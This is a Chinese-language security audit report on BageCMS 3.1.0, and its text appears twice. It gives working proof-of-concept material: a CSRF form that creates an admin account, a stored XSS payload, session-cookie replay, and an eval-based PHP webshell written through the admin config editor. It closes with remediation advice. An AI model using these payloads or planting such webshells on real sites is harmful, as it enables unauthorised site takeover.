审计挖掘---CNVD通用漏洞
字数 1345 2025-08-05 00:15:18

BageCMS 3.1.0 漏洞审计与复现报告

一、环境搭建

  1. 源码获取

    • 下载地址:http://61.155.169.167:81/uploads/userup/1870/bagecms.zip
    • 解压后将upload文件夹放置于PHPStudy的WWW目录下
  2. 数据库导入

    • 导入提供的.sql数据库备份文件到本地数据库管理器
  3. 安装向导

    • 访问安装页面:http://xxx.com/bagecms3.1.0/upload//index.php?r=install
    • 配置数据库信息(服务器名称、数据库名称、用户名、密码)
    • 完成安装

二、框架分析

核心文件结构

  1. 入口文件index.php

    $framework = dirname(__FILE__) . '/framework/yiilite.php';
    $config = dirname(__FILE__) . '/protected/config/main.php';
    define('WWWPATH', str_replace(array('\\', '\\\\'), '/', dirname(__FILE__)));
    define('DS', DIRECTORY_SEPARATOR);
    require_once ($framework);
    Yii::createWebApplication($config)->run();
    
  2. Yii框架文件framework/yiilite.php

    • 将常用类打包,减少include调用
    • 移除了trace()调用和注释
    • 减少被引用文件数量,避免执行跟踪语句
  3. 配置文件protected/config/main.php

    • 包含数据库配置、URL路由规则等
    • 关键URL路由配置:
    'urlManager'=>array(
        'showScriptName'=>true,
        'rules'=>array(
            'post/<id:\d+>/*'=>'post/show',
            'post/<id:\d+>_<title:\w+>/*'=>'post/show',
            'post/catalog/<catalog:[\w-_]+>/*'=>'post/index',
            'page/show/<name:\w+>/*'=>'page/show',
            'special/show/<name:[\w-_]+>/*'=>'special/show',
            '<controller:\w+>/<action:\w+>'=>'<controller>/<action>',
        )
    )
    

三、漏洞分析与复现

1. CSRF跨站请求伪造

漏洞位置:后台用户添加功能

复现步骤

  1. 使用Burp Suite抓取添加用户的POST请求
  2. 右键选择"相关工具"→"CSRF POC生成"
  3. 将生成的HTML代码保存为攻击页面
  4. 诱使管理员访问该页面

POC示例

<form action="http://网站IP/bagecms3.1.0/upload/index.php?r=admini/admin/create" method="POST">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="123456">
    <input type="hidden" name="email" value="attacker@example.com">
    <input type="submit" value="Submit">
</form>

2. 存储型XSS漏洞

漏洞位置:后台站点设置模块

复现步骤

  1. 登录后台,进入站点设置
  2. 在任意文本字段(如地址、电话等)插入XSS代码:
    <script>alert(111)</script>
    
  3. 保存设置
  4. 访问前台页面触发XSS

漏洞原理

  • 后台输入未过滤直接存储到数据库
  • 前台通过footer.php直接输出:
    <p class="home"><?php echo $this->_conf['_address']?></p>
    

3. 会话劫持攻击

漏洞位置:会话管理机制

复现步骤

  1. 获取合法用户的PHPSESSID(可通过XSS或其他方式)
  2. 在未登录的浏览器中修改Cookie:
    Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3
    
  3. 直接访问后台功能,如文件删除:
    POST /bagecms3.1.0/upload/index.php?r=admini/file/delete HTTP/1.1
    

4. 命令执行漏洞

漏洞位置:后台站点配置修改功能

复现步骤

  1. 登录后台,进入站点配置
  2. question/index.php末尾添加恶意代码:
    <?php file_put_contents("su.php","<?php @eval($_POST[cmd]);?>");?>
    
  3. 访问触发页面:http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index
  4. 生成WebShell文件su.php
  5. 使用蚁剑等工具连接:
    POST /su.php HTTP/1.1
    cmd=system("whoami");
    

四、修复建议

  1. CSRF防护

    • 添加CSRF Token验证
    • 关键操作使用POST请求
  2. XSS防护

    • 输入输出过滤,使用htmlspecialchars()
    • 设置HTTP头X-XSS-Protection
  3. 会话安全

    • 会话ID使用HttpOnly和Secure标志
    • 实现会话固定保护
  4. 命令执行防护

    • 禁用危险函数如eval()
    • 配置文件设置只读权限
    • 实现文件修改审计
  5. 框架加固

    • 及时更新Yii框架版本
    • 限制后台访问IP

五、总结

本报告详细分析了BageCMS 3.1.0中存在的多个安全漏洞,包括CSRF、XSS、会话劫持和命令执行漏洞。这些漏洞的组合利用可能导致完全控制网站系统。建议用户及时更新或采取相应防护措施。

注意:本报告仅用于安全研究目的,未经授权测试他人系统属于违法行为。

BageCMS 3.1.0 漏洞审计与复现报告 一、环境搭建 源码获取 : 下载地址:http://61.155.169.167:81/uploads/userup/1870/bagecms.zip 解压后将 upload 文件夹放置于PHPStudy的WWW目录下 数据库导入 : 导入提供的 .sql 数据库备份文件到本地数据库管理器 安装向导 : 访问安装页面: http://xxx.com/bagecms3.1.0/upload//index.php?r=install 配置数据库信息(服务器名称、数据库名称、用户名、密码) 完成安装 二、框架分析 核心文件结构 入口文件 : index.php Yii框架文件 : framework/yiilite.php 将常用类打包,减少include调用 移除了trace()调用和注释 减少被引用文件数量,避免执行跟踪语句 配置文件 : protected/config/main.php 包含数据库配置、URL路由规则等 关键URL路由配置: 三、漏洞分析与复现 1. CSRF跨站请求伪造 漏洞位置 :后台用户添加功能 复现步骤 : 使用Burp Suite抓取添加用户的POST请求 右键选择"相关工具"→"CSRF POC生成" 将生成的HTML代码保存为攻击页面 诱使管理员访问该页面 POC示例 : 2. 存储型XSS漏洞 漏洞位置 :后台站点设置模块 复现步骤 : 登录后台,进入站点设置 在任意文本字段(如地址、电话等)插入XSS代码: 保存设置 访问前台页面触发XSS 漏洞原理 : 后台输入未过滤直接存储到数据库 前台通过 footer.php 直接输出: 3. 会话劫持攻击 漏洞位置 :会话管理机制 复现步骤 : 获取合法用户的PHPSESSID(可通过XSS或其他方式) 在未登录的浏览器中修改Cookie: 直接访问后台功能,如文件删除: 4. 命令执行漏洞 漏洞位置 :后台站点配置修改功能 复现步骤 : 登录后台,进入站点配置 在 question/index.php 末尾添加恶意代码: 访问触发页面: http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index 生成WebShell文件 su.php 使用蚁剑等工具连接: 四、修复建议 CSRF防护 : 添加CSRF Token验证 关键操作使用POST请求 XSS防护 : 输入输出过滤,使用 htmlspecialchars() 设置HTTP头 X-XSS-Protection 会话安全 : 会话ID使用HttpOnly和Secure标志 实现会话固定保护 命令执行防护 : 禁用危险函数如 eval() 配置文件设置只读权限 实现文件修改审计 框架加固 : 及时更新Yii框架版本 限制后台访问IP 五、总结 本报告详细分析了BageCMS 3.1.0中存在的多个安全漏洞,包括CSRF、XSS、会话劫持和命令执行漏洞。这些漏洞的组合利用可能导致完全控制网站系统。建议用户及时更新或采取相应防护措施。 注意 :本报告仅用于安全研究目的,未经授权测试他人系统属于违法行为。